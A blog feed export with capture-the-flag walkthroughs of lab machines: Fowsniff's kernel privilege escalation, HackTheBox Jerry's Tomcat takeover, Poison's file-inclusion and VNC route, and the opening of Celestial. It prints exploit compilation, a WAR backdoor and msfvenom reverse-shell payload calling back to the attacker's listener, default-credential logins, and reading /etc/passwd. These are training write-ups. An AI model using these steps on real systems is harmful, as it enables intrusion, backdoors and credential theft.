<p>[/bash]</p>
<p>And we are on the machine!</p>
<h1>Privilege escalation</h1>
<p>Looking into the home folder of the user, there&#8217;s a text file called term.txt.</p>
<p>[bash]</p>
<p>[b]aksteen@fowsniff:~$ cat term.txt<br>
I wonder if the person who coined the term &quot;One Hit Wonder&quot;<br>
came up with another other phrases.</p>
<p>[/bash]</p>
<p>This must be a hint to get root access. I always start with the kernel itself, so lets check it out:</p>
<p>[bash]</p>
<p>uname -a<br>
Linux fowsniff 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux</p>
<p>[/bash]</p>
<p>Kernel 4.4.0-116 is quite old already. Let&#8217;s search the exploitDB to see if there&#8217;s anything good.</p>
<p>[bash]</p>
<p>searchsploit Linux 4.4.0-116<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
Exploit Title | Path<br>
| (/usr/share/exploitdb/)<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
Linux Kernel &lt; 4.4.0-116 (Ubuntu 16.04.4) &#8211; Local Privilege Escalation | exploits/linux/local/44298.c<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>[/bash]</p>
<p>Perfect, just what we need. I copied the exploit to my local folder and compiled it on my local machine with gcc to a file named pwnage. I&#8217;ve then send over the pwnage file to the machine using SCP. Executing it leads to:</p>
<p>[bash]</p>
<p>cp /usr/share/exploitdb/exploits/linux/local/44298.c .</p>
<p>gcc -o pwnage 44298.c</p>
<p>./pwnage<br>
task_struct = ffff88001a917000<br>
uidptr = ffff88001af89b44<br>
spawning root shell</p>
<p>root@fowsniff:/root# cat flag.txt<br>
___ _ _ _ _ _<br>
/ __|___ _ _ __ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| |<br>
| (__/ _ \ &#8216; \/ _` | &#8216;_/ _` | _| || | / _` | _| / _ \ &#8216; \(_-&lt;_|<br>
\___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)<br>
|___/</p>
<p>(_)<br>
|&#8212;&#8212;&#8212;&#8212;&#8211;<br>
|&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;|<br>
| R O O T |<br>
| F L A G |<br>
|&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;|<br>
|&#8212;&#8212;&#8212;&#8212;&#8211;<br>
|<br>
|<br>
|<br>
|<br>
|<br>
|<br>
&#8212;</p>
<p>Nice work!</p>
<p>This CTF was built with love in every byte by @berzerk0 on Twitter.</p>
<p>Special thanks to psf, @nbulischeck and the whole Fofao Team.</p>
<p>[/bash]</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Jerry - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Site just retired, focussed on Tomcat and malicious WAR files! Lets get started.</p>
<h1>Enumeration</h1>
<p>As always, lets Nmap the box:</p>
<p>[bash]</p>
<p>Nmap 7.70 scan initiated Sat Jun 30 19:27:39 2018 as: nmap -sC -sV -oA initial-nmap -p- 10.10.10.95<br>
Nmap scan report for 10.10.</p>]]></description><link>https://www.capturetheflags.com/jerry-hackthebox-eu/</link><guid isPermaLink="false">602ed4610bcf7d0001010786</guid><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[Jerry]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Sat, 17 Nov 2018 20:14:33 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Site just retired, focussed on Tomcat and malicious WAR files! Lets get started.</p>
<h1>Enumeration</h1>
<p>As always, lets Nmap the box:</p>
<p>[bash]</p>
<p>Nmap 7.70 scan initiated Sat Jun 30 19:27:39 2018 as: nmap -sC -sV -oA initial-nmap -p- 10.10.10.95<br>
Nmap scan report for 10.10.10.95<br>
Host is up (0.22s latency).<br>
Not shown: 65534 filtered ports<br>
PORT STATE SERVICE VERSION<br>
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1<br>
|_http-favicon: Apache Tomcat<br>
|_http-server-header: Apache-Coyote/1.1<br>
|_http-title: Apache Tomcat/7.0.88</p>
<p>[/bash]</p>
<p>Initial scan shows that a site is running at 8080 and that it is probably a Tomcatsite. Lets&#8217;s connect:</p>
<p><img loading="lazy" class="alignnone size-full wp-image-229" src="http://capturetheflags.com/wp-content/uploads/2018/11/Screenshot-at-2018-11-17-20-37-00.png" alt width="1343" height="658"></p>
<p>Yep. Thats Tomcat alright. Lets start gobuster to see what dirs we can find:</p>
<p>[bash]</p>
<p>sudo gobuster -u &amp;lt;a href=&quot;http://10.10.10.95:8080&quot;&amp;gt;http://10.10.10.95:8080&amp;lt;/a&amp;gt; -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x html,pdf,txt,cgi,php</p>
<p>Gobuster v1.4.1 OJ Reeves (@TheColonial)<br>
=====================================================<br>
=====================================================<br>
[+] Mode : dir<br>
[+] Url/Domain : &amp;lt;a href=&quot;http://10.10.10.95:8080/&quot;&amp;gt;http://10.10.10.95:8080/&amp;lt;/a&amp;gt;<br>
[+] Threads : 10<br>
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt<br>
[+] Status codes : 301,302,307,200,204<br>
[+] Extensions : .html,.pdf,.txt,.cgi,.php<br>
=====================================================<br>
/docs (Status: 302)<br>
/test (Status: 302)<br>
/examples (Status: 302)<br>
/manager (Status: 302)</p>
<p>[/bash]</p>
<p>That /manager part looks interesting. It&#8217;s also noted on the screenshot above. Lets visit the url:</p>
<p><img loading="lazy" class="alignnone size-full wp-image-230" src="http://capturetheflags.com/wp-content/uploads/2018/11/manager.png" alt width="1359" height="618"></p>
<p>It triggers a user name and password. Lets press Escape to get out of the login. Huh, we&#8217;re presented with a weird error message.</p>
<p><img loading="lazy" class="alignnone size-full wp-image-231" src="http://capturetheflags.com/wp-content/uploads/2018/11/error.png" alt width="1364" height="540"></p>
<p>So the error message displays how to setup a user. As an example, it notes &#8216;tomcat&#8217; as user name and &#8216;s3cret&#8217; as a password. What happens if we just try these default credentials?</p>
<p><img loading="lazy" class="alignnone size-full wp-image-232" src="http://capturetheflags.com/wp-content/uploads/2018/11/loggedin.png" alt width="1345" height="652"></p>
<p>Guess we are lucky :).</p>
<h1>Exploitation</h1>
<p>After doing some research, I end up at this <a href="https://pentestlab.blog/2012/08/26/using-metasploit-to-create-a-war-backdoor/">site</a> that describes how to create a WAR package that triggers a reverse shell. The post from 2012 explains:</p>
<p>&#8220;<em>If we have performed a penetration test against an Apache Tomcat server and we have managed to gain access then we might want to consider to place a web backdoor in order to maintain our access.Apache Tomcat accepts .WAR file types so our backdoor must have this file extension.In case that we don’t have a WAR backdoor already in our disposal we can use Metasploit to create one very fast.</em>&#8221; Searching Metasploit didn&#8217;t really give me anything useful intially, so I Googled on. It then found the <a href="https://github.com/mgeeky/tomcatWarDeployer">tomcatWarDeployer</a>, which perfectly seemed to fit my needs.</p>
<p>Lets run it:</p>
<p>[bash]</p>
<p>sudo python tomcatWarDeployer.py -v -U tomcat -P s3cret -H mylocalIPadress -p 1337 10.10.10.95:8080</p>
<p>tomcatWarDeployer (v. 0.4)<br>
Apache Tomcat auto WAR deployment &amp; launching tool<br>
Mariusz B. / MGeeky &#8217;16-18</p>
<p>Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.</p>
<p>INFO: Reverse shell will connect to: mylocalIPadress:1337.<br>
DEBUG: Browsing to &quot;&lt;a href=&quot;http://10.10.10.95:8080/&quot;&gt;http://10.10.10.95:8080/&quot;&#8230;&lt;/a&gt; Creds: &quot;tomcat:s3cret&quot;<br>
DEBUG: Trying to fetch: &quot;&lt;a href=&quot;http://10.10.10.95:8080/&quot;&gt;http://10.10.10.95:8080/&quot;&lt;/a&gt;<br>
DEBUG: Probably found something: Apache Tomcat/7.0.88<br>
DEBUG: Trying to fetch: &quot;&lt;a href=&quot;http://10.10.10.95:8080/manager&quot;&gt;http://10.10.10.95:8080/manager&quot;&lt;/a&gt;<br>
DEBUG: Probably found something: Apache Tomcat/7.0.88<br>
DEBUG: Apache Tomcat/7.0.88 Manager Application reached &amp; validated.<br>
DEBUG: Generating JSP WAR backdoor code&#8230;<br>
DEBUG: Preparing additional code for Reverse TCP shell<br>
DEBUG: Generating temporary structure for jsp_app WAR at: &quot;/tmp/tmpkmv2aR&quot;<br>
DEBUG: Working with Java at version: 10.0.1<br>
DEBUG: Generating web.xml with servlet-name: &quot;JSP Application&quot;<br>
DEBUG: Generating WAR file at: &quot;/tmp/jsp_app.war&quot;<br>
DEBUG: added manifest<br>
adding: files/(in = 0) (out= 0)(stored 0%)<br>
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)<br>
adding: files/WEB-INF/web.xml(in = 505) (out= 254)(deflated 49%)<br>
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)<br>
adding: files/META-INF/MANIFEST.MF(in = 66) (out= 66)(deflated 0%)<br>
adding: index.jsp(in = 4494) (out= 1686)(deflated 62%)<br>
INFO: It looks that the application with specified name &quot;jsp_app&quot; has not been deployed yet.<br>
DEBUG: Deploying application: jsp_app from file: &quot;/tmp/jsp_app.war&quot;<br>
DEBUG: Removing temporary WAR directory: &quot;/tmp/tmpkmv2aR&quot;<br>
DEBUG: Succeeded, invoking it&#8230;<br>
DEBUG: Spawned shell handling thread. Awaiting for the event&#8230;<br>
DEBUG: Awaiting for reverse-shell handler to set-up<br>
DEBUG: Establishing listener for incoming reverse TCP shell at mylocalIPadress:1337<br>
DEBUG: Socket is binded to local port now, awaiting for clients&#8230;<br>
DEBUG: Invoking application at url: &quot;&lt;a href=&quot;http://10.10.10.95:8080/jsp_app/&quot;&gt;http://10.10.10.95:8080/jsp_app/&quot;&lt;/a&gt;<br>
DEBUG: Adding &#8216;X-Pass: 9PHwwfFA9Ald&#8217; header for shell functionality authentication.<br>
DEBUG: Incoming client: 10.10.10.95:49195<br>
DEBUG: Application invoked correctly.<br>
INFO: JSP Backdoor up &amp; running on &lt;a href=&quot;http://10.10.10.95:8080/jsp_app/&quot;&gt;http://10.10.10.95:8080/jsp_app/&lt;/a&gt;<br>
INFO: Happy pwning. Here take that password for web shell: &#8216;9PHwwfFA9Ald&#8217;<br>
INFO: Connected with: nt authority\system@JERRY</p>
<p>C:\apache-tomcat-7.0.88&gt; whoami<br>
nt authority\system</p>
<p>[/bash]</p>
<p>Game, set and match.</p>
<p>Another way to do this, is to use msfvenom to generate a payload. We then upload the payload and execute it by visiting it. On our end, we setup a listener and upgrade the shell we get to meterpretershell. I got this idea from the following Youtube video:</p>
<p><a href="https://www.youtube.com/watch?v=wF9CJ59D0tQ">https://www.youtube.com/watch?v=wF9CJ59D0tQ</a></p>
<p>First, generate the payload:</p>
<p>[bash]</p>
<p>msfvenom -p java/shell_reverse_tcp LHOST= XXX LPORT=1337 -f war &gt; pwnd.war</p>
<p>sudo msfvenom -p java/shell_reverse_tcp LHOST=mylocalIPadress LPORT=1337 -f war &gt; pwnd.war<br>
Payload size: 13402 bytes<br>
Final size of war file: 13402 bytes</p>
<p>[/bash]</p>
<p>Then, setup a listener to catch the session:</p>
<p>[bash]</p>
<p>msf exploit(multi/handler) &gt; set LHOST mylocalIPadress<br>
LHOST =&gt; mylocalIPadress<br>
msf exploit(multi/handler) &gt; set LPORT 1337<br>
LPORT =&gt; 1337<br>
msf exploit(multi/handler) &gt; set LHOST tun0<br>
LHOST =&gt; tun0<br>
msf exploit(multi/handler) &gt; set payload java/shell_reverse_tcp<br>
payload =&gt; java/shell_reverse_tcp<br>
msf exploit(multi/handler) &gt; run</p>
<p>[/bash]</p>
<p>Proceed to upload the .war file and visit the approriate site to trigger the payload. You should get a shell:</p>
<p>[bash]</p>
<p>[*] Started reverse TCP handler on mylocalIPadress:1337<br>
[*] Command shell session 1 opened (mylocalIPadress:1337 -&gt; 10.10.10.95:49196) at 2018-07-07 18:46:33 +0000</p>
<p>Microsoft Windows [Version 6.3.9600]<br>
(c) 2013 Microsoft Corporation. All rights reserved.</p>
<p>C:\apache-tomcat-7.0.88&gt;</p>
<p>Background session 1? [y/N] y</p>
<p>[/bash]</p>
<p>After background the session, you can use the shell_to_meterpreter module to upgrade the session.</p>
<p>[bash]</p>
<p>Name Disclosure Date Rank Description<br>
&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;- &#8212;&#8212;&#8212;&#8211;<br>
post/multi/manage/shell_to_meterpreter normal Shell to Meterpreter Upgrade</p>
<p>msf exploit(multi/handler) &gt; use post/multi/manage/shell_to_meterpreter</p>
<p>msf post(multi/manage/shell_to_meterpreter) &gt; set LPORT 1337<br>
LPORT =&gt; 1337<br>
msf post(multi/manage/shell_to_meterpreter) &gt; run<br>
msf post(multi/manage/shell_to_meterpreter) &gt; sessions -l</p>
<p>Active sessions<br>
===============</p>
<p>Id Name Type Information Connection<br>
&#8212; &#8212;- &#8212;- &#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;-<br>
1 shell java/java Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All righ&#8230; mylocalIPadress:1337 -&gt; 10.10.10.95:49196 (10.10.10.95)</p>
<p>msf post(multi/manage/shell_to_meterpreter) &gt; set SESSION 1<br>
SESSION =&gt; 1</p>
<p>C:\Users\Administrator\Desktop\flags&gt;</p>
<p>[/bash]</p>
<h1>Privilege escalation</h1>
<p>Not needed, since you are already sytem. Flags can be found in C:\Users\Administrator\Desktop\flags&gt;</p>
<p>As always, IppSec created an awesome and very informative video about this box.</p>
<p><iframe title="HackTheBox - Jerry" width="750" height="422" src="https://www.youtube.com/embed/PJeBIey8gc4?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Poison - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Great box over at hackthebox.eu, which learned me a nifty new trick. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, we start with a full nmap scan:</p>
<p>[bash]</p>
<p>sudo nmap -sV -sC -oA initial -p- 10.10.10.84</p>
<p>Nmap scan report for 10.10.10.84<br>
Host is up (0.</p>]]></description><link>https://www.capturetheflags.com/poison-hackthebox-eu/</link><guid isPermaLink="false">602ed4610bcf7d0001010782</guid><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[poison]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Sun, 09 Sep 2018 19:29:21 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Great box over at hackthebox.eu, which learned me a nifty new trick. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, we start with a full nmap scan:</p>
<p>[bash]</p>
<p>sudo nmap -sV -sC -oA initial -p- 10.10.10.84</p>
<p>Nmap scan report for 10.10.10.84<br>
Host is up (0.038s latency).<br>
Not shown: 65533 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)<br>
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)<br>
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)<br>
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)<br>
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32<br>
|_http-title: Site doesn&#8217;t have a title (text/html; charset=UTF-8).<br>
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd</p>
<p>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>
Nmap done: 1 IP address (1 host up) scanned in 413.45 seconds</p>
<p>[/bash]</p>
<p>So we have port 80 running a HTTP service and port 22 running SSH.</p>
<p>Browsing to webpage displays the following:</p>
<p><img loading="lazy" class="alignnone wp-image-188 size-full" src="http://capturetheflags.com/wp-content/uploads/2018/08/Screenshot-from-2018-08-22-18-33-35.png" alt width="1493" height="783"></p>
<p>We can run the following commands: Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php</p>
<p>info.php reveals the following:</p>
<p>[bash]</p>
<p>FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64</p>
<p>[/bash]</p>
<p>The machine runs FreeBSD 11.1. This might come in handy later. Running listfiles.php shows:</p>
<p>[bash]</p>
<p>Array ( [0] =. [1]; .. [2]; browse.php [3]; index.php; info.php; ini.php; listfiles.php; phpinfo.php; pwdbackup.txt )</p>
<p>[/bash]</p>
<p>That sounds like an interesting file. First lets see what happens when we change the parameter after the file= part:</p>
<p>[bash]</p>
<p>http://10.10.10.84/browse.php?file=/etc/passwd</p>
<p># $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr</p>
<p>$ # root:*:0:0:Charlie &amp;amp;amp;amp;amp;amp;:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root:</p>
<p>daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin</p>
<p>operator:*:2:5:System &amp;amp;amp;amp;amp;amp;:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and</p>
<p>Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin</p>
<p>kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games</p>
<p>pseudo-user:/:/usr/sbin/nologin news:*:8:8:News</p>
<p>Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man</p>
<p>Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell</p>
<p>Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission</p>
<p>User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail</p>
<p>Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind</p>
<p>Sandbox:/:/usr/sbin/nologin unbound:*:59:59:Unbound DNS</p>
<p>Resolver:/var/unbound:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-</p>
<p>user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep</p>
<p>user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp</p>
<p>programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-</p>
<p>user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post</p>
<p>Office Owner:/nonexistent:/usr/sbin/nologin auditdistd:*:78:77:Auditdistd</p>
<p>unprivileged user:/var/empty:/usr/sbin/nologin www:*:80:80:World Wide Web</p>
<p>Owner:/nonexistent:/usr/sbin/nologin _ypldap:*:160:160:YP LDAP unprivileged</p>
<p>user:/var/empty:/usr/sbin/nologin hast:*:845:845:HAST unprivileged</p>
<p>user:/var/empty:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged</p>
<p>user:/nonexistent:/usr/sbin/nologin _tss:*:601:601:TrouSerS</p>
<p>user:/var/empty:/usr/sbin/nologin messagebus:*:556:556:D-BUS Daemon</p>
<p>User:/nonexistent:/usr/sbin/nologin avahi:*:558:558:Avahi Daemon</p>
<p>User:/nonexistent:/usr/sbin/nologin cups:*:193:193:Cups</p>
<p>Owner:/nonexistent:/usr/sbin/nologin</p>
<p>charix:*:1001:1001:charix:/home/charix:/bin/csh</p>
<p>[/bash]</p>
<p>So our user is probably charix.</p>
<p>Lets see what is in that pwdbackup.txt file by using: http://10.10.10.84/browse.php?file=pwdbackup.txt</p>
<p>[bash]</p>
<p>This password is secure, it&#8217;s encoded atleast 13 times.. what could go wrong really..</p>
<p>Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=</p>
<p>[/bash]</p>
<p>Looking at the way the key was constructed, it looks like a base64 encoded key. The hint points us to that it is probably encoded 13 times. I&#8217;ve used the <a href="https://gchq.github.io/CyberChef/">Cyberchef from GCHQ</a> to decrypt the thing. It gives us the following key</p>
<p>[bash]</p>
<p>Charix!2#4%6&amp;amp;amp;amp;8(0</p>
<p>[/bash]</p>
<p>The only service we&#8217;ve seen so far is the SSH service.</p>
<h1>Exploitation</h1>
<p>ssh 10.10.10.84 -l charix</p>
<p>Password: Charix!2#4%6&amp;8(0</p>
<p>And we&#8217;re logged in.</p>
<h1>Privilege Escalation</h1>
<p>After running LinEnum, I noticed that a VNC service is running as root. To further explore this. Running LinEnum, I see that root is running VNC on 5901 and 5801, as well as sshd (which I already used to get access to the box). So, I probably need to setup a SSH tunnel to this machine and use VNC viewer to get access to the VNC-sessions on the Poisoin host.</p>
<p>I do the following:</p>
<p>[bash]</p>
<p>charix@Poison:~ % sockstat -l<br>
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS<br>
www httpd 713 3 tcp6 *:80 *:*<br>
www httpd 713 4 tcp4 *:80 *:*<br>
www httpd 712 3 tcp6 *:80 *:*<br>
www httpd 712 4 tcp4 *:80 *:*<br>
www httpd 711 3 tcp6 *:80 *:*<br>
www httpd 711 4 tcp4 *:80 *:*<br>
root sendmail 642 3 tcp4 127.0.0.1:25 *:*<br>
www httpd 641 3 tcp6 *:80 *:*<br>
www httpd 641 4 tcp4 *:80 *:*<br>
www httpd 640 3 tcp6 *:80 *:*<br>
www httpd 640 4 tcp4 *:80 *:*<br>
www httpd 639 3 tcp6 *:80 *:*<br>
www httpd 639 4 tcp4 *:80 *:*<br>
www httpd 638 3 tcp6 *:80 *:*<br>
www httpd 638 4 tcp4 *:80 *:*<br>
www httpd 637 3 tcp6 *:80 *:*<br>
www httpd 637 4 tcp4 *:80 *:*<br>
root httpd 625 3 tcp6 *:80 *:*<br>
root httpd 625 4 tcp4 *:80 *:*<br>
root sshd 620 3 tcp6 *:22 *:*<br>
root sshd 620 4 tcp4 *:22 *:*<br>
root Xvnc 529 0 stream /tmp/.X11-unix/X1<br>
root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*<br>
root Xvnc 529 3 tcp4 127.0.0.1:5801 *:*<br>
root syslogd 390 4 dgram /var/run/log<br>
root syslogd 390 5 dgram /var/run/logpriv<br>
root syslogd 390 6 udp6 *:514 *:*<br>
root syslogd 390 7 udp4 *:514 *:*<br>
root devd 319 4 stream /var/run/devd.pipe<br>
root devd 319 5 seqpac /var/run/devd.seqpacket.pipe</p>
<p>[/bash]</p>
<p>I used  <a href="http://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html">http://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html</a>  and <a href="https://null-byte.wonderhowto.com/how-to/remotely-control-computers-over-vnc-securely-with-ssh-0132656/">https://null-byte.wonderhowto.com/how-to/remotely-control-computers-over-vnc-securely-with-ssh-0132656/</a> for research.</p>
<p>There is also a secret.zip file on the machine. Let&#8217;s start by setting up a tunnel:</p>
<p>[bash]</p>
<p>ssh -L 5901:localhost:5901 -N -f -l charix 10.10.10.84</p>
<p>[/bash]</p>
<p>&nbsp;</p>
<p>Using vncviewer, we can get access to the desktop of the root user, which contains the key:</p>
<p>[bash]</p>
<p>vncviewer -passwd secret<br>
Use localhost:5901 to get access.<br>
[/bash]</p>
<p>&nbsp;</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Celestial - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Fun box that allowed me to get some experience with NodeJS stuff. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, lets perform a nmap to start with</p>
<p>[bash]</p>
<p>map -sC -sV -p- -oA initial 10.10.10.85<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-23 19:01 UTC&lt;/pre&</p>]]></description><link>https://www.capturetheflags.com/celestial-hackthebox-eu/</link><guid isPermaLink="false">602ed4610bcf7d0001010781</guid><category><![CDATA[celestial]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[nodejs]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Tue, 28 Aug 2018 18:51:53 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Fun box that allowed me to get some experience with NodeJS stuff. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, lets perform a nmap to start with</p>
<p>[bash]</p>
<p>map -sC -sV -p- -oA initial 10.10.10.85<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-23 19:01 UTC&lt;/pre&gt;<br>
Nmap scan report for 10.10.10.85<br>
Host is up (0.024s latency).<br>
Not shown: 65534 closed ports<br>
PORT STATE SERVICE VERSION<br>
3000/tcp open http Node.js Express framework<br>
|_http-title: Site doesn&#8217;t have a title (text/html; charset=utf-8).</p>
<p>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>
Nmap done: 1 IP address (1 host up) scanned in 22.38 seconds</p>
<p>[/bash]</p>
<p>Browsing the site gives a 404 error. Both gobuster and dirbuster give me no results. I then realized that I was using port 80&#8230; Stupid. Running gobuster and dirbuster on port 3000 gave me the same result. However, just browsing the site gives me a message:</p>
<p><img loading="lazy" class="alignnone size-full wp-image-196" src="http://capturetheflags.com/wp-content/uploads/2018/08/celestial-2.png" alt width="1490" height="944"></p>
<p>&#8220;Hey dummy. 2 + 2 is 22.&#8221; Sounds like we need to manipulate the HTTP request. Lets fire up Burp. Using repeater, the following headers are displayed:</p>
<p><em>GET / HTTP/1.1</em><br>
<em>Host: 10.10.10.85:3000</em><br>
<em>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0</em><br>
<em>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</em><br>
<em>Accept-Language: en-US,en;q=0.5</em><br>
<em>Accept-Encoding: gzip, deflate</em><br>
